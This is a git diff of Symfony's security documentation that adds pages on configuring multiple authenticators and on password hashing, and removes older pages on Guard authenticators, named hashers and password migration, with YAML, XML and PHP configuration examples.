 .. _`LDAP PHP extension`: https://www.php.net/manual/en/intro.ldap.php
 .. _`RFC4515`: http://www.faqs.org/rfcs/rfc4515.html
 .. _`LDAP injection`: http://projects.webappsec.org/w/page/13246947/LDAP%20Injection
+
diff --git a/security/login_link.rst b/security/login_link.rst
index 1e1641304a3..e5680ea5de3 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -14,10 +14,12 @@ This authentication method can help you eliminate most of the customer support
 related to authentication (e.g. I forgot my password, how can I change or reset
 my password, etc.)
 
-Login links are supported by Symfony when using the experimental
-authenticator system. You must
-:ref:`enable the authenticator system <security-enable-authenticator-manager>`
-in your configuration to use this feature.
+.. note::
+
+    Login links are only supported by Symfony when using the
+    :doc:`authenticator system </security>`. Before using this
+    authenticator, make sure you have enabled it with
+    ``enable_authenticator_manager: true`` in your ``security.yaml`` file.
 
 Using the Login Link Authenticator
 ----------------------------------
diff --git a/security/multiple_authenticators.rst b/security/multiple_authenticators.rst
new file mode 100644
index 00000000000..61566e5cd69
--- /dev/null
+++ b/security/multiple_authenticators.rst
@@ -0,0 +1,173 @@
+How to Use Multiple Authenticators
+==================================
+
+Sometimes, one firewall has multiple ways to authenticate (e.g. both a form
+login and a social login). In these cases, it is now required to configure
+the *authentication entry point*.
+
+The entry point is used to generate a response when the user is not yet
+authenticated but tries to access a page that requires authentication. This
+can be used for instance to redirect the user to the login page.
+
+You can configure this using the ``entry_point`` setting:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            enable_authenticator_manager: true
+
+            # ...
+            firewalls:
+                main:
+                    # allow authentication using a form or a custom authenticator
+                    form_login: ~
+                    custom_authenticators:
+                        - App\Security\SocialConnectAuthenticator
+
+                    # configure the form authentication as the entry point for unauthenticated users
+                    entry_point: form_login
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config enable-authenticator-manager="true">
+                <!-- ... -->
+
+                <!-- entry-point: configure the form authentication as the entry
+                                  point for unauthenticated users -->
+                <firewall name="main"
+                    entry-point="form_login"
+                >
+                    <!-- allow authentication using a form or a custom authenticator -->
+                    <form-login/>
+                    <custom-authenticator>App\Security\SocialConnectAuthenticator</custom-authenticator>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+        use App\Security\SocialConnectAuthenticator;
+
+        return static function (SecurityConfig $security) {
+            $security->enableAuthenticatorManager(true);
+            // ....
+
+
+            // allow authentication using a form or HTTP basic
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall
+                ->formLogin()
+                ->customAuthenticators([SocialConnectAuthenticator::class])
+
+                // configure the form authentication as the entry point for unauthenticated users
+                ->entryPoint('form_login');
+            ;
+        };
+
+.. note::
+
+    You can also create your own authentication entry point by creating a
+    class that implements
+    :class:`Symfony\\Component\\Security\\Http\\EntryPoint\\AuthenticationEntryPointInterface`.
+    You can then set ``entry_point`` to the service id (e.g.
+    ``entry_point: App\Security\CustomEntryPoint``)
+
+Multiple Authenticators with Separate Entry Points
+--------------------------------------------------
+
+However, there are use cases where you have authenticators that protect
+different parts of your application. For example, you have a login form
+that protects the main website and API end-points used by external parties
+protected by API keys.
+
+As you can only configure one entry point per firewall, the solution is to
+split the configuration into two separate firewalls:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+            firewalls:
+                api:
+                    pattern: ^/api/
+                    custom_authenticators:
+                        - App\Security\ApiTokenAuthenticator
+                main:
+                    lazy: true
+                    form_login: ~
+
+            access_control:
+                - { path: '^/login', roles: PUBLIC_ACCESS }
+                - { path: '^/api', roles: ROLE_API_USER }
+                - { path: '^/', roles: ROLE_USER }
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+                <firewall name="api" pattern="^/api/">
+                    <custom-authenticator>App\Security\ApiTokenAuthenticator</custom-authenticator>
+                </firewall>
+
+                <firewall name="main" anonymous="true" lazy="true">
+                    <form-login/>
+                </firewall>
+
+                <rule path="^/login" role="PUBLIC_ACCESS"/>
+                <rule path="^/api" role="ROLE_API_USER"/>
+                <rule path="^/" role="ROLE_USER"/>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Security\ApiTokenAuthenticator;
+        use App\Security\LoginFormAuthenticator;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $apiFirewall = $security->firewall('api');
+            $apiFirewall
+                ->pattern('^/api')
+                ->customAuthenticators([ApiTokenAuthenticator::class])
+            ;
+
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall
+                ->lazy(true)
+                ->formLogin();
+
+            $accessControl = $security->accessControl();
+            $accessControl->path('^/login')->roles(['IS_AUTHENTICATED_ANONYMOUSLY']);
+            $accessControl->path('^/api')->roles(['ROLE_API_USER']);
+            $accessControl->path('^/')->roles(['ROLE_USER']);
+        };
diff --git a/security/multiple_guard_authenticators.rst b/security/multiple_guard_authenticators.rst
deleted file mode 100644
index 7e121fcc6cc..00000000000
--- a/security/multiple_guard_authenticators.rst
+++ /dev/null
@@ -1,185 +0,0 @@
-How to Use Multiple Guard Authenticators
-========================================
-
-.. deprecated:: 5.3
-
-    Guard authenticators are deprecated since Symfony 5.3 in favor of the
-    :doc:`new authenticator-based system </security/authenticator_manager>`.
-
-The Guard authentication component allows you to use many different
-authenticators at a time.
-
-An entry point is a service id (of one of your authenticators) whose
-``start()`` method is called to start the authentication process.
-
-Multiple Authenticators with Shared Entry Point
------------------------------------------------
-
-Sometimes you want to offer your users different authentication mechanisms like
-a form login and a Facebook login while both entry points redirect the user to
-the same login page.
-However, in your configuration you have to explicitly say which entry point
-you want to use.
-
-This is how your security configuration can look in action:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-            firewalls:
-                default:
-                    anonymous: true
-                    lazy: true
-                    guard:
-                        authenticators:
-                            - App\Security\LoginFormAuthenticator
-                            - App\Security\FacebookConnectAuthenticator
-                        entry_point: App\Security\LoginFormAuthenticator
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-                <firewall name="default" anonymous="true" lazy="true">
-                    <guard entry-point="App\Security\LoginFormAuthenticator">
-                        <authenticator>App\Security\LoginFormAuthenticator</authenticator>
-                        <authenticator>App\Security\FacebookConnectAuthenticator</authenticator>
-                    </guard>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Security\FacebookConnectAuthenticator;
-        use App\Security\LoginFormAuthenticator;
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            // ...
-
-            $defaultFirewall = $security->firewall('default');
-            $defaultFirewall->lazy(true);
-            $defaultFirewall->anonymous();
-            $defaultFirewall->guard()
-                ->entryPoint(LoginFormAuthenticator::class)
-                ->authenticators([
-                    LoginFormAuthenticator::class,
-                    FacebookConnectAuthenticator::class,
-                ]);
-        };
-
-There is one limitation with this approach - you have to use exactly one entry point.
-
-Multiple Authenticators with Separate Entry Points
---------------------------------------------------
-
-However, there are use cases where you have authenticators that protect different
-parts of your application. For example, you have a login form that protects
-the secured area of your application front-end and API end points that are
-protected with API tokens. As you can only configure one entry point per firewall,
-the solution is to split the configuration into two separate firewalls:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-            firewalls:
-                api:
-                    pattern: ^/api/
-                    guard:
-                        authenticators:
-                            - App\Security\ApiTokenAuthenticator
-                default:
-                    anonymous: true
-                    lazy: true
-                    guard:
-                        authenticators:
-                            - App\Security\LoginFormAuthenticator
-            access_control:
-                - { path: '^/login', roles: IS_AUTHENTICATED_ANONYMOUSLY }
-                - { path: '^/api', roles: ROLE_API_USER }
-                - { path: '^/', roles: ROLE_USER }
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-                <firewall name="api" pattern="^/api/">
-                    <guard>
-                        <authenticator>App\Security\ApiTokenAuthenticator</authenticator>
-                    </guard>
-                </firewall>
-                <firewall name="default" anonymous="true" lazy="true">
-                    <guard>
-                        <authenticator>App\Security\LoginFormAuthenticator</authenticator>
-                    </guard>
-                </firewall>
-                <rule path="^/login" role="IS_AUTHENTICATED_ANONYMOUSLY"/>
-                <rule path="^/api" role="ROLE_API_USER"/>
-                <rule path="^/" role="ROLE_USER"/>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Security\ApiTokenAuthenticator;
-        use App\Security\LoginFormAuthenticator;
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            $security->firewall('api')
-                ->pattern('^/api')
-                ->guard()
-                ->authenticators([
-                    ApiTokenAuthenticator::class,
-                ]);
-
-            $defaultFirewall = $security->firewall('default');
-            $defaultFirewall->lazy(true);
-            $defaultFirewall->anonymous();
-            $defaultFirewall->guard()
-                ->authenticators([
-                    LoginFormAuthenticator::class,
-                ]);
-
-            $security->accessControl()
-                ->path('^/login')
-                ->roles(['IS_AUTHENTICATED_ANONYMOUSLY']);
-            $security->accessControl()
-                ->path('^/api')
-                ->roles(['ROLE_API_USER']);
-            $security->accessControl()
-                ->path('^/')
-                ->roles(['ROLE_USER']);
-        };
-
diff --git a/security/named_hashers.rst b/security/named_hashers.rst
deleted file mode 100644
index 45ff296540e..00000000000
--- a/security/named_hashers.rst
+++ /dev/null
@@ -1,192 +0,0 @@
-.. index::
-    single: Security; Named Encoders
-
-How to Use A Different Password Hasher Algorithm Per User
-=========================================================
-
-Usually, the same password hasher is used for all users by configuring it
-to apply to all instances of a specific class:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-            password_hashers:
-                App\Entity\User:
-                    algorithm: auto
-                    cost: 12
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd"
-        >
-            <config>
-                <!-- ... -->
-                <security:password-hasher class="App\Entity\User"
-                    algorithm="auto"
-                    cost="12"
-                />
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Entity\User;
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            // ...
-            $security->passwordHasher(User::class)
-                ->algorithm('auto')
-                ->cost(12)
-            ;
-        };
-
-Another option is to use a "named" hasher and then select which hasher
-you want to use dynamically.
-
-In the previous example, you've set the ``auto`` algorithm for ``App\Entity\User``.
-This may be secure enough for a regular user, but what if you want your admins
-to have a stronger algorithm, for example ``auto`` with a higher cost. This can
-be done with named hashers:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-            password_hashers:
-                harsh:
-                    algorithm: auto
-                    cost: 15
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd"
-        >
-
-            <config>
-                <!-- ... -->
-                <security:password-hasher class="harsh"
-                    algorithm="auto"
-                    cost="15"/>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            // ...
-            $security->passwordHasher('harsh')
-                ->algorithm('auto')
-                ->cost(15)
-            ;
-        };
-
-.. note::
-
-    If you are running PHP 7.2+ or have the `libsodium`_ extension installed,
-    then the recommended hashing algorithm to use is
-    :ref:`Sodium <reference-security-sodium>`.
-
-This creates a hasher named ``harsh``. In order for a ``User`` instance
-to use it, the class must implement
-:class:`Symfony\\Component\\PasswordHasher\\Hasher\\PasswordHasherAwareInterface`.
-The interface requires one method - ``getPasswordHasherName()`` - which should return
-the name of the hasher to use::
-
-    // src/Entity/User.php
-    namespace App\Entity;
-
-    use Symfony\Component\PasswordHasher\Hasher\PasswordHasherAwareInterface;
-    use Symfony\Component\Security\Core\User\UserInterface;
-
-    class User implements UserInterface, PasswordHasherAwareInterface
-    {
-        public function getPasswordHasherName(): ?string
-        {
-            if ($this->isAdmin()) {
-                return 'harsh';
-            }
-
-            return null; // use the default hasher
-        }
-    }
-
-If you created your own password hasher implementing the
-:class:`Symfony\\Component\\PasswordHasher\\PasswordHasherInterface`,
-you must register a service for it in order to use it as a named hasher:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-            password_hashers:
-                app_hasher:
-                    id: 'App\Security\Hasher\MyCustomPasswordHasher'
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd"
-        >
-
-            <config>
-                <!-- ... -->
-                <security:password_hasher class="app_hasher"
-                    id="App\Security\Hasher\MyCustomPasswordHasher"/>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Security\Hasher\MyCustomPasswordHasher;
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            // ...
-            $security->passwordHasher('app_hasher')
-                ->id(MyCustomPasswordHasher::class)
-            ;
-        };
-
-This creates a hasher named ``app_hasher`` from a service with the ID
-``App\Security\Hasher\MyCustomPasswordHasher``.
-
-.. _`libsodium`: https://pecl.php.net/package/libsodium
diff --git a/security/password_migration.rst b/security/password_migration.rst
deleted file mode 100644
index 6dfcb39cbb2..00000000000
--- a/security/password_migration.rst
+++ /dev/null
@@ -1,251 +0,0 @@
-.. index::
-    single: Security; How to Migrate a Password Hash
-
-How to Migrate a Password Hash
-==============================
-
-In order to protect passwords, it is recommended to store them using the latest
-hash algorithms. This means that if a better hash algorithm is supported on your
-system, the user's password should be *rehashed* using the newer algorithm and
-stored. That's possible with the ``migrate_from`` option:
-
-#. `Configure a new Hasher Using "migrate_from"`_
-#. `Upgrade the Password`_
-#. Optionally, `Trigger Password Migration From a Custom Hasher`_
-
-.. _configure-a-new-encoder-using migrate_from:
-
-Configure a new Hasher Using "migrate_from"
--------------------------------------------
-
-When a better hashing algorithm becomes available, you should keep the existing
-hasher(s), rename it, and then define the new one. Set the ``migrate_from`` option
-on the new hasher to point to the old, legacy hasher(s):
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            password_hashers:
-                # a hasher used in the past for some users
-                legacy:
-                    algorithm: sha256
-                    encode_as_base64: false
-                    iterations: 1
-
-                App\Entity\User:
-                    # the new hasher, along with its options
-                    algorithm: sodium
-                    migrate_from:
-                        - bcrypt # uses the "bcrypt" hasher with the default options
-                        - legacy # uses the "legacy" hasher configured above
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:security="http://symfony.com/schema/dic/security"
-            xsi:schemaLocation="http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <security:config>
-                <!-- ... -->
-
-                <security:password-hasher class="legacy"
-                    algorithm="sha256"
-                    encode-as-base64="false"
-                    iterations="1"
-                />
-
-                <!-- algorithm: the new hasher, along with its options -->
-                <security:password-hasher class="App\Entity\User"
-                    algorithm="sodium"
-                >
-                    <!-- uses the bcrypt hasher with the default options -->
-                    <security:migrate-from>bcrypt</security:migrate-from>
-
-                    <!-- uses the legacy hasher configured above -->
-                    <security:migrate-from>legacy</security:migrate-from>
-                </security:password-hasher>
-            </security:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            // ...
-            $security->passwordHasher('legacy')
-                ->algorithm('sha256')
-                ->encodeAsBase64(true)
-                ->iterations(1)
-            ;
-
-            $security->passwordHasher('App\Entity\User')
-                // the new hasher, along with its options
-                ->algorithm('sodium')
-                ->migrateFrom([
-                    'bcrypt', // uses the "bcrypt" hasher with the default options
-                    'legacy', // uses the "legacy" hasher configured above
-                ])
-            ;
-        };
-
-With this setup:
-
-* New users will be hashed with the new algorithm;
-* Whenever a user logs in whose password is still stored using the old algorithm,
-  Symfony will verify the password with the old algorithm and then rehash
-  and update the password using the new algorithm.
-
-.. tip::
-
-    The *auto*, *native*, *bcrypt* and *argon* hashers automatically enable
-    password migration using the following list of ``migrate_from`` algorithms:
-
-    #. :ref:`PBKDF2 <reference-security-pbkdf2>` (which uses :phpfunction:`hash_pbkdf2`);
-    #. Message digest (which uses :phpfunction:`hash`)
-
-    Both use the ``hash_algorithm`` setting as the algorithm. It is recommended to
-    use ``migrate_from`` instead of ``hash_algorithm``, unless the *auto*
-    hasher is used.
-
-Upgrade the Password
---------------------
-
-Upon successful login, the Security system checks whether a better algorithm
-is available to hash the user's password. If it is, it'll hash the correct
-password using the new hash. If you use a Guard authenticator, you first need to
-:ref:`provide the original password to the Security system <provide-the-password-guard>`.
-
-You can enable the upgrade behavior by implementing how this newly hashed
-password should be stored:
-
-* :ref:`When using Doctrine's entity user provider <upgrade-the-password-doctrine>`
-* :ref:`When using a custom user provider <upgrade-the-password-custom-provider>`
-
-After this, you're done and passwords are always hashed as secure as possible!
-
-.. _provide-the-password-guard:
-
-Provide the Password when using Guard
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-When you're using a custom :doc:`guard authenticator </security/guard_authentication>`,
-you need to implement :class:`Symfony\\Component\\Security\\Guard\\PasswordAuthenticatedInterface`.
-This interface defines a ``getPassword()`` method that returns the password
-for this login request. This password is used in the migration process::
-
-    // src/Security/CustomAuthenticator.php
-    namespace App\Security;
-
-    use Symfony\Component\Security\Guard\PasswordAuthenticatedInterface;
-    // ...
-
-    class CustomAuthenticator extends AbstractGuardAuthenticator implements PasswordAuthenticatedInterface
-    {
-        // ...
-
-        public function getPassword($credentials): ?string
-        {
-            return $credentials['password'];
-        }
-    }
-
-.. _upgrade-the-password-doctrine:
-
-Upgrade the Password when using Doctrine
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-When using the :ref:`entity user provider <security-entity-user-provider>`, implement
-:class:`Symfony\\Component\\Security\\Core\\User\\PasswordUpgraderInterface` in
-the ``UserRepository`` (see `the Doctrine docs for information`_ on how to
-create this class if it's not already created). This interface implements
-storing the newly created password hash::
-
-    // src/Repository/UserRepository.php
-    namespace App\Repository;
-
-    // ...
-    use Symfony\Component\Security\Core\User\PasswordUpgraderInterface;
-
-    class UserRepository extends EntityRepository implements PasswordUpgraderInterface
-    {
-        // ...
-
-        public function upgradePassword(UserInterface $user, string $newHashedPassword): void
-        {
-            // set the new hashed password on the User object
-            $user->setPassword($newHashedPassword);
-
-            // execute the queries on the database
-            $this->getEntityManager()->flush();
-        }
-    }
-
-.. _upgrade-the-password-custom-provider:
-
-Upgrade the Password when using a Custom User Provider
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-If you're using a :ref:`custom user provider <custom-user-provider>`, implement the
-:class:`Symfony\\Component\\Security\\Core\\User\\PasswordUpgraderInterface` in
-the user provider::
-
-    // src/Security/UserProvider.php
-    namespace App\Security;
-
-    // ...
-    use Symfony\Component\Security\Core\User\PasswordUpgraderInterface;
-
-    class UserProvider implements UserProviderInterface, PasswordUpgraderInterface
-    {
-        // ...
-
-        public function upgradePassword(UserInterface $user, string $newHashedPassword): void
-        {
-            // set the new hashed password on the User object
-            $user->setPassword($newHashedPassword);
-
-            // ... store the new password
-        }
-    }
-
-.. _trigger-password-migration-from-a-custom-encoder:
-
-Trigger Password Migration From a Custom Hasher
------------------------------------------------
-
-If you're using a custom password hasher, you can trigger the password
-migration by returning ``true`` in the ``needsRehash()`` method::
-
-    // src/Security/CustomPasswordHasher.php
-    namespace App\Security;
-
-    // ...
-    use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
-
-    class CustomPasswordHasher implements UserPasswordHasherInterface
-    {
-        // ...
-
-        public function needsRehash(string $hashed): bool
-        {
-            // check whether the current password is hashed using an outdated hasher
-            $hashIsOutdated = ...;
-
-            return $hashIsOutdated;
-        }
-    }
-
-.. _`the Doctrine docs for information`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/working-with-objects.html#custom-repositories
diff --git a/security/passwords.rst b/security/passwords.rst
new file mode 100644
index 00000000000..25c24354568
--- /dev/null
+++ b/security/passwords.rst
@@ -0,0 +1,782 @@
+Password Hashing and Verification
+=================================
+
+Most applications use passwords to login users. These passwords should be
+hashed to securely store them. Symfony's PasswordHasher component provides
+all utilities to safely hash and verify passwords.
+
+Make sure it is installed by running:
+
+.. code-block:: terminal
+
+   $ composer require symfony/password-hasher
+
+.. versionadded:: 5.3
+
+   The PasswordHasher component was introduced in 5.3. Prior to this
+   version, password hashing functionality was provided by the Security
+   component.
+
+Configuring a Password Hasher
+-----------------------------
+
+Before hashing passwords, you must configure a hasher using the
+``password_hashers`` option. You must configure the *hashing algorithm* and
+optionally some *algorithm options*:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            password_hashers:
+                # auto hasher with default options for the User class (and children)
+                App\Entity\User: 'auto'
+
+                # auto hasher with custom options for all PasswordAuthenticatedUserInterface instances
+                Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface:
+                    algorithm: 'auto'
+                    cost:      15
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+                <!-- auto hasher with default options for the User class (and children) -->
+                <security:password-hasher
+                    class="App\Entity\User"
+                    algorithm="auto"
+                />
+
+                <!-- auto hasher with custom options for all PasswordAuthenticatedUserInterface instances -->
+                <security:password-hasher
+                    class="Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface"
+                    algorithm="auto"
+                    cost="15"
+                />
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Entity\User;
+        use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+
+            // auto hasher with default options for the User class (and children)
+            $security->passwordHasher(User::class)
+                ->algorithm('auto');
+
+            // auto hasher with custom options for all PasswordAuthenticatedUserInterface instances
+            $security->passwordHasher(PasswordAuthenticatedUserInterface::class)
+                ->algorithm('auto')
+                ->cost(15);
+        };
+
+    .. code-block:: php-standalone
+
+        use App\Entity\User;
+        use Symfony\Component\PasswordHasher\Hasher\PasswordHasherFactory;
+        use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
+
+        $passwordHasherFactory = new PasswordHasherFactory([
+            // auto hasher with default options for the User class (and children)
+            User::class => ['algorithm' => 'auto'],
+
+            // auto hasher with custom options for all PasswordAuthenticatedUserInterface instances
+            User::class => [
+                'algorithm' => 'auto',
+                'cost' => 15,
+            ],
+        ]);
+
+.. versionadded:: 5.3
+
+    The ``password_hashers`` option was introduced in Symfony 5.3. In previous
+    versions it was called ``encoders``.
+
+In this example, the "auto" algorithm is used. This hasher automatically
+selects the most secure algorithm available on your system. Combined with
+:ref:`password migration <security-password-migration>`, this allows you to
+always secure passwords in the safest way possible (even when new
+algorithms are introduced in future PHP releases).
+
+Further in this article, you can find a
+:ref:`full reference of all supported algorithms <passwordhasher-supported-algorithms>`.
+
+.. tip::
+
+    Hashing passwords is resource intensive and takes time in order to
+    generate secure password hashes. In general, this makes your password
+    hashing more secure.
+
+    In tests however, secure hashes are not important, so you can change
+    the password hasher configuration in ``test`` environment to run tests
+    faster:
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/packages/test/security.yaml
+            password_hashers:
+                # Use your user class name here
+                App\Entity\User:
+                    algorithm: plaintext # disable hashing (only do this in tests!)
+
+                # or use the lowest possible values
+                App\Entity\User:
+                    algorithm: auto # This should be the same value as in config/packages/security.yaml
+                    cost: 4 # Lowest possible value for bcrypt
+                    time_cost: 3 # Lowest possible value for argon
+                    memory_cost: 10 # Lowest possible value for argon
+
+        .. code-block:: xml
+
+            <!-- config/packages/test/security.xml -->
+            <?xml version="1.0" encoding="UTF-8"?>
+            <srv:container xmlns="http://symfony.com/schema/dic/security"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xmlns:srv="http://symfony.com/schema/dic/services"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+                <config>
+                    <!-- class: Use your user class name here -->
+                    <!-- algorithm: disable hashing (only do this in tests!) -->
+                    <security:password-hasher
+                        class="App\Entity\User"
+                        algorithm="plaintext"
+                    />
+
+                    <!-- or use the lowest possible values -->
+                    <!-- algorithm: This should be the same value as in config/packages/security.yaml -->
+                    <!-- cost: Lowest possible value for bcrypt -->
+                    <!-- time_cost: Lowest possible value for argon -->
+                    <!-- memory_cost: Lowest possible value for argon -->
+                    <security:password-hasher
+                        class="App\Entity\User"
+                        algorithm="auto"
+                        cost="4"
+                        time_cost="3"
+                        memory_cost="10"
+                    />
+                </config>
+            </srv:container>
+
+        .. code-block:: php
+
+            // config/packages/test/security.php
+            use App\Entity\User;
+            use Symfony\Config\SecurityConfig;
+
+            return static function (SecurityConfig $security) {
+                // ...
+
+                // Use your user class name here
+                $security->passwordHasher(User::class)
+                    ->algorithm('plaintext'); // disable hashing (only do this in tests!)
+
+                // or use the lowest possible values
+                $security->passwordHasher(User::class)
+                    ->algorithm('auto') // This should be the same value as in config/packages/security.yaml
+                    ->cost(4) // Lowest possible value for bcrypt
+                    ->timeCost(2) // Lowest possible value for argon
+                    ->memoryCost(10) // Lowest possible value for argon
+                ;
+            };
+
+Hashing the Password
+--------------------
+
+After configuring the correct algorithm, you can use the
+``UserPasswordHasherInterface`` to hash and verify the passwords:
+
+.. configuration-block::
+
+    .. code-block:: php-symfony
+
+        // src/Controller/RegistrationController.php
+        namespace App\Controller;
+
+        // ...
+        use
+        Symfony\Component\HttpKernel\Exception\AccessDeniedHttpException;
